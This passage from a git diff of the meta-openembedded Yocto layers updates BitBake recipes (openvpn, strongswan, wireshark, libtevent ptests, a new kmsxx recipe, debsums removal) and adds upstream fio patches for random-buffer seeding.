+by the rfc3261 (wich deprecates rfc2543). This library aims to provide multimedia \
+and telecom software developers an easy and powerful interface to initiate and \
+control SIP based sessions in their applications. SIP is a open standard \
+replacement from IETF for H323."
+HOMEPAGE = "http://www.gnu.org/software/osip/osip.html"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://src/osip2/osip.c;beginline=1;endline=19;md5=22ca0da0e41276c50c81b733953c208d"
+
+SRC_URI = "${GNU_MIRROR}/osip/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "fe82fe841608266ac15a5c1118216da00c554d5006e2875a8ac3752b1e6adc79"
+
+inherit autotools
diff --git a/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/cmocka-fix-musl-libc-conflicting-types-error.patch b/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/cmocka-fix-musl-libc-conflicting-types-error.patch
deleted file mode 100644
index 5795ff3bd1..0000000000
--- a/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/cmocka-fix-musl-libc-conflicting-types-error.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 1d4dedab5039bb671f44566d8573ee3532ba7176 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 25 Jul 2018 09:55:25 +0800
-Subject: [PATCH] cmocka: fix musl libc conflicting types error
-
-/third_party/cmocka/cmocka.h:126:28: error: conflicting types for 'uintptr_t'
- typedef unsigned int uintptr_t;
- ^~~~~~~~~
-use __DEFINED_uintptr_t in alltypes.h to check if uintptr already defined
-
-Upstream-Status: Pending
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- third_party/cmocka/cmocka.h | 7 +++----
- 1 file changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/third_party/cmocka/cmocka.h b/third_party/cmocka/cmocka.h
-index e6861c8..238201d 100644
---- a/third_party/cmocka/cmocka.h
-+++ b/third_party/cmocka/cmocka.h
-@@ -111,7 +111,7 @@ typedef uintmax_t LargestIntegralType;
- ((LargestIntegralType)(value))
-
- /* Smallest integral type capable of holding a pointer. */
--#if !defined(_UINTPTR_T) && !defined(_UINTPTR_T_DEFINED)
-+#if !defined(__DEFINED_uintptr_t)
- # if defined(_WIN32)
- /* WIN32 is an ILP32 platform */
- typedef unsigned int uintptr_t;
-@@ -135,9 +135,8 @@ typedef uintmax_t LargestIntegralType;
- # endif /* __WORDSIZE */
- # endif /* _WIN32 */
-
--# define _UINTPTR_T
--# define _UINTPTR_T_DEFINED
--#endif /* !defined(_UINTPTR_T) || !defined(_UINTPTR_T_DEFINED) */
-+# define __DEFINED_uintptr_t
-+#endif /* !defined(__DEFINED_uintptr_t) */
-
- /* Perform an unsigned cast to uintptr_t. */
- #define cast_to_pointer_integral_type(value) \
---
-2.25.1
-
diff --git a/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/run-ptest b/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/run-ptest
new file mode 100644
index 0000000000..19f7a4a3a6
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/run-ptest
@@ -0,0 +1,17 @@
+#!/bin/sh
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd "$ptestdir"/tests || exit
+
+tests="replace_testsuite test_tevent_tag test_tevent_trace"
+
+for f in $tests
+do
+ if test -x ./"$f"; then
+ if ./"$f" > ./"$f".out 2> ./"$f".err; then
+ echo "PASS: $f"
+ else
+ echo "FAIL: $f"
+ fi
+ fi
+done
diff --git a/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent_0.14.1.bb b/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent_0.14.1.bb
index b34c186ca5..9a2b5ede27 100644
--- a/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent_0.14.1.bb
+++ b/meta-openembedded/meta-networking/recipes-support/libtevent/libtevent_0.14.1.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://tevent.samba.org"
SECTION = "libs"
LICENSE = "LGPL-3.0-or-later"
-DEPENDS += "libtalloc libtirpc"
+DEPENDS += "libtalloc libtirpc cmocka"
RDEPENDS:python3-tevent = "python3"
export PYTHONHASHSEED="1"
@@ -11,10 +11,9 @@ export PYTHONHASHSEED="1"
SRC_URI = "https://samba.org/ftp/tevent/tevent-${PV}.tar.gz \
file://0001-Add-configure-options-for-packages.patch \
file://0002-Fix-pyext_PATTERN-for-cross-compilation.patch \
+ file://run-ptest \
"
-SRC_URI:append:libc-musl = " file://cmocka-fix-musl-libc-conflicting-types-error.patch"
-
LIC_FILES_CHKSUM = "file://tevent.h;endline=26;md5=47386b7c539bf2706b7ce52dc9341681"
SRC_URI[sha256sum] = "ef85fcaa80ffd2351036ba4b347630fef2a1ac3da964a7f1820466bad03cd00d"
@@ -42,27 +41,22 @@ export WAF_NO_PREFORK="yes"
EXTRA_OECONF += "--disable-rpath \
--disable-rpath-install \
- --bundled-libraries=cmocka \
+ --bundled-libraries=NONE \
--builtin-libraries=replace \
--with-libiconv=${STAGING_DIR_HOST}${prefix}\
--without-gettext \
"
-do_install:append() {
- install -Dm 0755 ${B}/bin/test_tevent_trace ${D}${bindir}/test_tevent_trace
- install -Dm 0755 ${B}/bin/test_tevent_tag ${D}${bindir}/test_tevent_tag
- install -Dm 0755 ${B}/bin/replace_testsuite ${D}${bindir}/replace_testsuite
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/bin/test_tevent_* ${D}${PTEST_PATH}/tests/
+ install -m 0755 ${B}/bin/replace_testsuite ${D}${PTEST_PATH}/tests/
}
PACKAGES += "python3-tevent"
RPROVIDES:${PN}-dbg += "python3-tevent-dbg"
-FILES:${PN} += "${libdir}/tevent/*"
-FILES:${PN}-ptest += "${bindir}/replace_testsuite \
- ${bindir}/test_tevent_tag \
- ${bindir}/test_tevent_trace \
- ${libdir}/libcmocka-tevent.so"
FILES:python3-tevent = "${libdir}/python${PYTHON_BASEVERSION}/site-packages/*"
INSANE_SKIP:${MLPREFIX}python3-tevent = "dev-so"
diff --git a/meta-openembedded/meta-networking/recipes-support/netsniff-ng/netsniff-ng_0.6.8.bb b/meta-openembedded/meta-networking/recipes-support/netsniff-ng/netsniff-ng_0.6.8.bb
index 004330e1b4..341eab015c 100644
--- a/meta-openembedded/meta-networking/recipes-support/netsniff-ng/netsniff-ng_0.6.8.bb
+++ b/meta-openembedded/meta-networking/recipes-support/netsniff-ng/netsniff-ng_0.6.8.bb
@@ -33,4 +33,4 @@ do_install() {
oe_runmake DESTDIR=${D} netsniff-ng_install
}
-BBCLASSEXTEND = "native nativesdk"
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-networking/recipes-support/ntpsec/ntpsec_1.2.2a.bb b/meta-openembedded/meta-networking/recipes-support/ntpsec/ntpsec_1.2.2a.bb
index af41d4989d..9ad97e7689 100644
--- a/meta-openembedded/meta-networking/recipes-support/ntpsec/ntpsec_1.2.2a.bb
+++ b/meta-openembedded/meta-networking/recipes-support/ntpsec/ntpsec_1.2.2a.bb
@@ -70,7 +70,7 @@ EXTRA_OEWAF_BUILD ?= "-v"
NTP_USER_HOME ?= "/var/lib/ntp"
-BISONFLAGS = "--file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+BISONFLAGS = "--file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}"
do_configure:prepend() {
export BISONFLAGS="${BISONFLAGS}"
diff --git a/meta-openembedded/meta-networking/recipes-support/openvpn/openvpn_2.6.3.bb b/meta-openembedded/meta-networking/recipes-support/openvpn/openvpn_2.6.7.bb
index a5fc158749..323abe32c4 100644
--- a/meta-openembedded/meta-networking/recipes-support/openvpn/openvpn_2.6.3.bb
+++ b/meta-openembedded/meta-networking/recipes-support/openvpn/openvpn_2.6.7.bb
@@ -2,7 +2,7 @@ SUMMARY = "A full-featured SSL VPN solution via tun device."
HOMEPAGE = "https://openvpn.net/"
SECTION = "net"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3170e982baae61dbb8de963317d1ac94"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d8d34ce6390552676e4ce8279f13c48a"
DEPENDS = "lzo lz4 openssl iproute2 libcap-ng ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
inherit autotools systemd update-rc.d pkgconfig
@@ -14,7 +14,7 @@ SRC_URI = "http://swupdate.openvpn.org/community/releases/${BP}.tar.gz \
UPSTREAM_CHECK_URI = "https://openvpn.net/community-downloads"
-SRC_URI[sha256sum] = "13b207a376d8880507c74ff78aabc3778a9da47c89f1e247dcee3c7237138ff6"
+SRC_URI[sha256sum] = "ee9877340b1d8de47eb5b52712c3366855fa6a4a1955bf950c68577bd2039913"
CVE_STATUS[CVE-2020-27569] = "not-applicable-config: Applies only Aviatrix OpenVPN client, not openvpn"
diff --git a/meta-openembedded/meta-networking/recipes-support/rdma-core/rdma-core_47.0.bb b/meta-openembedded/meta-networking/recipes-support/rdma-core/rdma-core_48.0.bb
index ac417435ce..b9e07604d2 100644
--- a/meta-openembedded/meta-networking/recipes-support/rdma-core/rdma-core_47.0.bb
+++ b/meta-openembedded/meta-networking/recipes-support/rdma-core/rdma-core_48.0.bb
@@ -7,7 +7,7 @@ RDEPENDS:${PN} = "bash perl"
SRC_URI = "git://github.com/linux-rdma/rdma-core.git;branch=master;protocol=https \
file://0001-cmake-Allow-SYSTEMCTL_BIN-to-be-overridden-from-envi.patch"
-SRCREV = "ccb120cc7b7faceca90cfa55189a1b35b0adc78d"
+SRCREV = "3e039515b959fea70356b010ed093e43cf360e99"
S = "${WORKDIR}/git"
#Default Dual License https://github.com/linux-rdma/rdma-core/blob/master/COPYING.md
diff --git a/meta-openembedded/meta-networking/recipes-support/spice/phodav_3.0.bb b/meta-openembedded/meta-networking/recipes-support/spice/phodav_3.0.bb
index 990e017022..08c65eb259 100644
--- a/meta-openembedded/meta-networking/recipes-support/spice/phodav_3.0.bb
+++ b/meta-openembedded/meta-networking/recipes-support/spice/phodav_3.0.bb
@@ -7,7 +7,6 @@ DEPENDS = " \
libsoup \
"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = 'gtk_doc'
GTKDOC_MESON_ENABLE_FLAG = 'enabled'
GTKDOC_MESON_DISABLE_FLAG = 'disabled'
diff --git a/meta-openembedded/meta-networking/recipes-support/strongswan/strongswan_5.9.11.bb b/meta-openembedded/meta-networking/recipes-support/strongswan/strongswan_5.9.12.bb
index fb1bea2d87..87d12bc6c8 100644
--- a/meta-openembedded/meta-networking/recipes-support/strongswan/strongswan_5.9.11.bb
+++ b/meta-openembedded/meta-networking/recipes-support/strongswan/strongswan_5.9.12.bb
@@ -11,7 +11,7 @@ DEPENDS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'tpm2', ' tpm2-tss',
SRC_URI = "https://download.strongswan.org/strongswan-${PV}.tar.bz2 \
"
-SRC_URI[sha256sum] = "ddf53f1f26ad26979d5f55e8da95bd389552f5de3682e35593f9a70b2584ed2d"
+SRC_URI[sha256sum] = "5e6018b07cbe9f72c044c129955a13be3e2f799ceb53f53a4459da6a922b95e5"
UPSTREAM_CHECK_REGEX = "strongswan-(?P<pver>\d+(\.\d+)+)\.tar"
diff --git a/meta-openembedded/meta-networking/recipes-support/tnftp/tnftp_20210827.bb b/meta-openembedded/meta-networking/recipes-support/tnftp/tnftp_20230507.bb
index a6ba671e70..79c3dadea3 100644
--- a/meta-openembedded/meta-networking/recipes-support/tnftp/tnftp_20210827.bb
+++ b/meta-openembedded/meta-networking/recipes-support/tnftp/tnftp_20230507.bb
@@ -10,7 +10,7 @@ SOCKS support, TIS FWTK gate-ftp server support, and transfer rate \
throttling."
SECTION = "net"
-LICENSE = "BSD-4-Clause"
+LICENSE = "BSD-2-Clause"
DEPENDS = "ncurses"
@@ -28,9 +28,8 @@ ALTERNATIVE_TARGET[ftp] = "${bindir}/tnftp"
FILES:${PN} = "${bindir}/tnftp"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b4248c6fb8ecff27f256ba97b25f1a21"
-SRC_URI[md5sum] = "fdb6dd1b53dca79148c395b77c6dba5a"
-SRC_URI[sha256sum] = "101901e90b656c223ec8106370dd0d783fb63d26aa6f0b2a75f40e86a9f06ea2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fbbb944979c7466ed5509b4bbc6c328b"
+SRC_URI[sha256sum] = "be0134394bd7d418a3b34892b0709eeb848557e86474e1786f0d1a887d3a6580"
PACKAGECONFIG ?= "openssl \
${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
diff --git a/meta-openembedded/meta-networking/recipes-support/uftp/uftp_5.0.1.bb b/meta-openembedded/meta-networking/recipes-support/uftp/uftp_5.0.2.bb
index 6d5cf4b628..ca2a8ce676 100644
--- a/meta-openembedded/meta-networking/recipes-support/uftp/uftp_5.0.1.bb
+++ b/meta-openembedded/meta-networking/recipes-support/uftp/uftp_5.0.2.bb
@@ -7,7 +7,7 @@ LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=d32239bcb673463ab874e80d47fae504"
UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/uftp-multicast/files/source-tar/"
SRC_URI = "${SOURCEFORGE_MIRROR}/uftp-multicast/source-tar/uftp-${PV}.tar.gz"
-SRC_URI[sha256sum] = "f0435fbc8e9ffa125e05600cb6c7fc933d7d587f5bae41b257267be4f2ce0e61"
+SRC_URI[sha256sum] = "57c12a6ae59942535fb5e620381aedeb17d50009ee71f236427ce237a46c0b14"
DEPENDS = "openssl"
diff --git a/meta-openembedded/meta-networking/recipes-support/unbound/unbound_1.18.0.bb b/meta-openembedded/meta-networking/recipes-support/unbound/unbound_1.19.0.bb
index 179af8050a..ed8c5bd97c 100644
--- a/meta-openembedded/meta-networking/recipes-support/unbound/unbound_1.18.0.bb
+++ b/meta-openembedded/meta-networking/recipes-support/unbound/unbound_1.19.0.bb
@@ -10,7 +10,7 @@ LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=5308494bc0590c0cb036afd781d78f06"
SRC_URI = "git://github.com/NLnetLabs/unbound.git;protocol=https;branch=master"
-SRCREV = "3795e374107ac7a5a977c516e144a3cd9b0da998"
+SRCREV = "3352b1090ea1098883f6bf64236fa877e18e458b"
inherit autotools pkgconfig systemd update-rc.d
diff --git a/meta-openembedded/meta-networking/recipes-support/wireshark/wireshark_4.0.8.bb b/meta-openembedded/meta-networking/recipes-support/wireshark/wireshark_4.0.10.bb
index 2117e9ee3c..008aa8cb12 100644
--- a/meta-openembedded/meta-networking/recipes-support/wireshark/wireshark_4.0.8.bb
+++ b/meta-openembedded/meta-networking/recipes-support/wireshark/wireshark_4.0.10.bb
@@ -17,7 +17,7 @@ SRC_URI = "https://1.eu.dl.wireshark.org/src/wireshark-${PV}.tar.xz \
UPSTREAM_CHECK_URI = "https://1.as.dl.wireshark.org/src"
-SRC_URI[sha256sum] = "16663585c0ffefd5593a6628d4a20cc8241b9703b11283cfe71ead2b750888c8"
+SRC_URI[sha256sum] = "b2e3ff03fa2be9058a9ffbedd12b0a670433bd16c8cc6c432ab48dabc2df1898"
PE = "1"
diff --git a/meta-openembedded/meta-oe/conf/include/ptest-packagelists-meta-oe.inc b/meta-openembedded/meta-oe/conf/include/ptest-packagelists-meta-oe.inc
index a2b2ce4bc9..33aff7f442 100644
--- a/meta-openembedded/meta-oe/conf/include/ptest-packagelists-meta-oe.inc
+++ b/meta-openembedded/meta-oe/conf/include/ptest-packagelists-meta-oe.inc
@@ -28,6 +28,7 @@ PTESTS_FAST_META_OE = "\
lmdb \
minicoredumper \
neon \
+ nlohmann-json \
nodejs \
onig \
poco \
@@ -36,6 +37,7 @@ PTESTS_FAST_META_OE = "\
uthash \
xmlsec1 \
zeromq \
+ cjson \
"
PTESTS_FAST_META_OE:append:x86 = " mcelog"
PTESTS_FAST_META_OE:append:x86-64 = " mcelog"
@@ -49,6 +51,7 @@ PTESTS_SLOW_META_OE = "\
libusb-compat \
rsyslog \
mariadb \
+ re2 \
"
PTESTS_SLOW_META_OE:append:x86 = " kernel-selftest"
PTESTS_SLOW_META_OE:append:x86-64 = " kernel-selftest"
diff --git a/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-connectivity/thingsboard-gateway/thingsboard-gateway_3.3.bb b/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-connectivity/thingsboard-gateway/thingsboard-gateway_3.4.2.bb
index 0987522ac8..52bcffe713 100644
--- a/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-connectivity/thingsboard-gateway/thingsboard-gateway_3.3.bb
+++ b/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-connectivity/thingsboard-gateway/thingsboard-gateway_3.4.2.bb
@@ -7,7 +7,7 @@ HOMEPAGE = "https://thingsboard.io/"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10"
-SRC_URI[sha256sum] = "4d27661113c54e3b0998328f15ca7fd9e4837d1975c7c213595cb940f4b11484"
+SRC_URI[sha256sum] = "a54953c53c0ee72a1aa270bc018db7cc853f56ca29e2c98938ff4138109fd41a"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-multimedia/kmsxx/kmsxx_git.bb b/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-multimedia/kmsxx/kmsxx_git.bb
new file mode 100644
index 0000000000..cdba1a24d1
--- /dev/null
+++ b/meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-multimedia/kmsxx/kmsxx_git.bb
@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: MIT
+#
+# Copyright Leica Geosystems AG
+#
+
+SUMMARY = "C++ library for kernel mode setting"
+HOMEPAGE = "https://github.com/tomba/kmsxx"
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=815ca599c9df247a0c7f619bab123dad"
+
+BRANCH = "master"
+SRC_URI = "git://github.com/tomba/kmsxx.git;protocol=https;branch=${BRANCH}"
+SRCREV = "412935a47b762c33e54a464243f2d789b065bbb6"
+PACKAGES =+ "${PN}-python"
+
+PACKAGECONFIG ?= "utils python "
+PACKAGECONFIG[omap] += "-Domap=enabled, -Domap=disabled"
+PACKAGECONFIG[python] += "-Dpykms=enabled, -Dpykms=disabled, python3 python3-pybind11"
+PACKAGECONFIG[utils] += "-Dutils=true, -Dutils=false"
+
+DEPENDS += "libdrm libevdev fmt"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig
+
+do_install:append() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'utils', 'true', 'false', d)}; then
+ # kmstest already provided by libdrm-tests
+ mv ${D}${bindir}/kmstest ${D}${bindir}/kmsxxtest
+ fi
+}
+
+FILES:${PN} ="${bindir} ${libdir}"
+FILES:${PN}-python += "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-core/packagegroups/packagegroup-meta-oe.bbappend b/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-core/packagegroups/packagegroup-meta-oe.bbappend
index 8cb8d22a2d..5c48fd5c03 100644
--- a/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-core/packagegroups/packagegroup-meta-oe.bbappend
+++ b/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-core/packagegroups/packagegroup-meta-oe.bbappend
@@ -1 +1 @@
-RDEPENDS:packagegroup-meta-oe-support += "debsums rasdaemon"
+RDEPENDS:packagegroup-meta-oe-support += "rasdaemon"
diff --git a/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-support/debsums/debsums_2.2.2.bb b/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-support/debsums/debsums_2.2.2.bb
deleted file mode 100644
index 252db1994e..0000000000
--- a/meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-support/debsums/debsums_2.2.2.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "Miscellaneous utilities specific to Debian"
-SUMMARY:${PN}-cron = "Cron scripts to control automatic debsum checking"
-DESCRIPTION = "A tool for verification of installed package files against \
-MD5 checksums debsums can verify the integrity of installed package files \
-against MD5 checksums installed by the package, or generated from a .deb \
-archive."
-DESCRIPTION:${PN}-cron = "Cron scripts to control automatic system integrity \
-checking via debsums."
-SECTION = "base"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=770d751553e6559e9eaefd2e11ccf7e9"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20170530T212108Z/pool/main/d/debsums/debsums_2.2.2.tar.xz"
-SRC_URI[md5sum] = "82b0710855a7e5212d4358163a269e79"
-SRC_URI[sha256sum] = "aa61896f93a6bbfe0161c21dcd67529ae8e1ec8c3ccf244523c52c4ad8253d97"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/d/${BPN}/"
-
-inherit perlnative gettext
-
-DEPENDS += "po4a-native"
-
-do_install() {
- install -d ${D}/${sysconfdir}/cron.daily ${D}/${sysconfdir}/cron.weekly
- install -d ${D}/${sysconfdir}/cron.monthly ${D}${sbindir} ${D}${bindir}
- install -d ${D}${mandir}/man1 ${D}${mandir}/man8
- install -m 0755 debsums ${D}${bindir}/
- install -m 0755 rdebsums ${D}${bindir}/
- install -m 0755 debsums_init ${D}${sbindir}
- install -m 0644 man/debsums.1 ${D}${mandir}/man1/
- install -m 0644 man/rdebsums.1 ${D}${mandir}/man1/
- install -m 0644 man/debsums_init.8 ${D}${mandir}/man8/
- install -m 0644 debian/cron.daily \
- ${D}/${sysconfdir}/cron.daily/debsums
- install -m 0644 debian/cron.weekly \
- ${D}/${sysconfdir}/cron.weekly/debsums
- install -m 0644 debian/cron.monthly \
- ${D}/${sysconfdir}/cron.monthly/debsums
- # Must exist, defaults to empty.
- touch ${D}/${sysconfdir}/debsums-ignore
-}
-
-PACKAGES =+ "${PN}-cron"
-
-RDEPENDS:${PN} = "dpkg dpkg-perl libfile-fnmatch-perl perl \
- perl-module-constant perl-module-digest-md5 \
- perl-module-errno perl-module-fcntl \
- perl-module-file-basename perl-module-file-copy \
- perl-module-file-find perl-module-file-glob \
- perl-module-file-path perl-module-file-spec \
- perl-module-file-temp perl-module-getopt-long \
- perl-module-posix"
-
-FILES:${PN}-cron = "${sysconfdir}/cron.*"
diff --git a/meta-openembedded/meta-oe/files/static-group-meta-oe b/meta-openembedded/meta-oe/files/static-group-meta-oe
index 79c9bb6e1a..f20c86f653 100644
--- a/meta-openembedded/meta-oe/files/static-group-meta-oe
+++ b/meta-openembedded/meta-oe/files/static-group-meta-oe
@@ -2,7 +2,7 @@ redis:x:600:
xrdp:x:601:
sanlock:x:602:
mysql:x:603:
-postgres:x:604:
+postgres:x:28:
zabbix:x:605:
mail:x:606:
-nogroup:x:607: \ No newline at end of file
+nogroup:x:65534:
diff --git a/meta-openembedded/meta-oe/files/static-passwd-meta-oe b/meta-openembedded/meta-oe/files/static-passwd-meta-oe
index 4c312b7b1f..00f3e107e9 100644
--- a/meta-openembedded/meta-oe/files/static-passwd-meta-oe
+++ b/meta-openembedded/meta-oe/files/static-passwd-meta-oe
@@ -2,7 +2,7 @@ redis:x:600:600::/:/bin/nologin
xrdp:x:601:601::/:/bin/nologin
sanlock:x:602:602::/:/bin/nologin
mysql:x:603:603::/:/bin/nologin
-postgres:x:604:604::/:/bin/nologin
+postgres:x:28:28::/:/bin/nologin
zabbix:x:605:605::/:/bin/nologin
cyrus:x:606:nogroup::/:/bin/nologin
pcp:x:620:nogroup::/:/bin/nologin
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0001-Fio-3.31.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0001-Fio-3.31.patch
new file mode 100644
index 0000000000..9b8b7d02e3
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0001-Fio-3.31.patch
@@ -0,0 +1,23 @@
+From 6cafe8445fd1e04e5f7d67bbc73029a538d1b253 Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Tue, 9 Aug 2022 14:41:25 -0600
+Subject: [PATCH] Fio 3.31
+
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ FIO-VERSION-GEN | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/FIO-VERSION-GEN b/FIO-VERSION-GEN
+index fa64f50f..72630dd0 100755
+--- a/FIO-VERSION-GEN
++++ b/FIO-VERSION-GEN
+@@ -1,7 +1,7 @@
+ #!/bin/sh
+
+ GVF=FIO-VERSION-FILE
+-DEF_VER=fio-3.30
++DEF_VER=fio-3.31
+
+ LF='
+ '
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0002-lib-rand-Enhance-__fill_random_buf-using-the-multi-r.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0002-lib-rand-Enhance-__fill_random_buf-using-the-multi-r.patch
new file mode 100644
index 0000000000..16506566c2
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0002-lib-rand-Enhance-__fill_random_buf-using-the-multi-r.patch
@@ -0,0 +1,136 @@
+From 40ba7a05de6a08cfd382b116f76dbeaa7237df45 Mon Sep 17 00:00:00 2001
+From: Sungup Moon <sungup.moon@samsung.com>
+Date: Mon, 8 Aug 2022 17:21:46 +0900
+Subject: [PATCH] lib/rand: Enhance __fill_random_buf using the multi random
+ seed
+
+The __fill_random_buf fills a buffer using the random 8byte integer to
+write. But, this mechanism is depend on the CPU performance and could
+not reach the max performance on the PCIe Gen5 devices. I have tested
+128KB single worker sequential write on PCIe Gen5 NVMe, but it cannot
+reach write throughput 6.0GB/s.
+
+So, I have reviewed the __fill_random_buf and focused the multiplier
+dependency to generate the random number. So, I have changed
+__fill_random_buf using the multiple-random-seed to reduce the
+dependencies in the small data filling loop.
+
+I'll attach detail analysis result in the PR of this branch.
+
+Signed-off-by: Sungup Moon <sungup.moon@samsung.com>
+---
+ configure | 17 +++++++++++++++++
+ lib/rand.c | 37 ++++++++++++++++++++++++++++++++++++-
+ 2 files changed, 53 insertions(+), 1 deletion(-)
+
+diff --git a/configure b/configure
+index 36450df8..a2b9bd4c 100755
+--- a/configure
++++ b/configure
+@@ -116,6 +116,10 @@ has() {
+ type "$1" >/dev/null 2>&1
+ }
+
++num() {
++ echo "$1" | grep -P -q "^[0-9]+$"
++}
++
+ check_define() {
+ cat > $TMPC <<EOF
+ #if !defined($1)
+@@ -174,6 +178,7 @@ libnfs=""
+ xnvme=""
+ libzbc=""
+ dfs=""
++seed_buckets=""
+ dynamic_engines="no"
+ prefix=/usr/local
+
+@@ -255,6 +260,8 @@ for opt do
+ ;;
+ --enable-asan) asan="yes"
+ ;;
++ --seed-buckets=*) seed_buckets="$optarg"
++ ;;
+ --help)
+ show_help="yes"
+ ;;
+@@ -302,6 +309,7 @@ if test "$show_help" = "yes" ; then
+ echo "--dynamic-libengines Lib-based ioengines as dynamic libraries"
+ echo "--disable-dfs Disable DAOS File System support even if found"
+ echo "--enable-asan Enable address sanitizer"
++ echo "--seed-buckets= Number of seed buckets for the refill-buffer"
+ exit $exit_val
+ fi
+
+@@ -3273,6 +3281,15 @@ if test "$disable_tcmalloc" != "yes"; then
+ fi
+ fi
+ print_config "TCMalloc support" "$tcmalloc"
++if ! num "$seed_buckets"; then
++ seed_buckets=4
++elif test "$seed_buckets" -lt 2; then
++ seed_buckets=2
++elif test "$seed_buckets" -gt 16; then
++ seed_buckets=16
++fi
++echo "#define CONFIG_SEED_BUCKETS $seed_buckets" >> $config_host_h
++print_config "seed_buckets" "$seed_buckets"
+
+ echo "LIBS+=$LIBS" >> $config_host_mak
+ echo "GFIO_LIBS+=$GFIO_LIBS" >> $config_host_mak
+diff --git a/lib/rand.c b/lib/rand.c
+index 1e669116..1ce4a849 100644
+--- a/lib/rand.c
++++ b/lib/rand.c
+@@ -95,7 +95,7 @@ void init_rand_seed(struct frand_state *state, uint64_t seed, bool use64)
+ __init_rand64(&state->state64, seed);
+ }
+
+-void __fill_random_buf(void *buf, unsigned int len, uint64_t seed)
++void __fill_random_buf_small(void *buf, unsigned int len, uint64_t seed)
+ {
+ uint64_t *b = buf;
+ uint64_t *e = b + len / sizeof(*b);
+@@ -110,6 +110,41 @@ void __fill_random_buf(void *buf, unsigned int len, uint64_t seed)
+ __builtin_memcpy(e, &seed, rest);
+ }
+
++void __fill_random_buf(void *buf, unsigned int len, uint64_t seed)
++{
++#define MAX_SEED_BUCKETS 16
++ static uint64_t prime[MAX_SEED_BUCKETS] = {1, 2, 3, 5,
++ 7, 11, 13, 17,
++ 19, 23, 29, 31,
++ 37, 41, 43, 47};
++
++ uint64_t *b, *e, s[CONFIG_SEED_BUCKETS];
++ unsigned int rest;
++ int p;
++
++ /*
++ * Calculate the max index which is multiples of the seed buckets.
++ */
++ rest = (len / sizeof(*b) / CONFIG_SEED_BUCKETS) * CONFIG_SEED_BUCKETS;
++
++ b = buf;
++ e = b + rest;
++
++ rest = len - (rest * sizeof(*b));
++
++ for (p = 0; p < CONFIG_SEED_BUCKETS; p++)
++ s[p] = seed * prime[p];
++
++ for (; b != e; b += CONFIG_SEED_BUCKETS) {
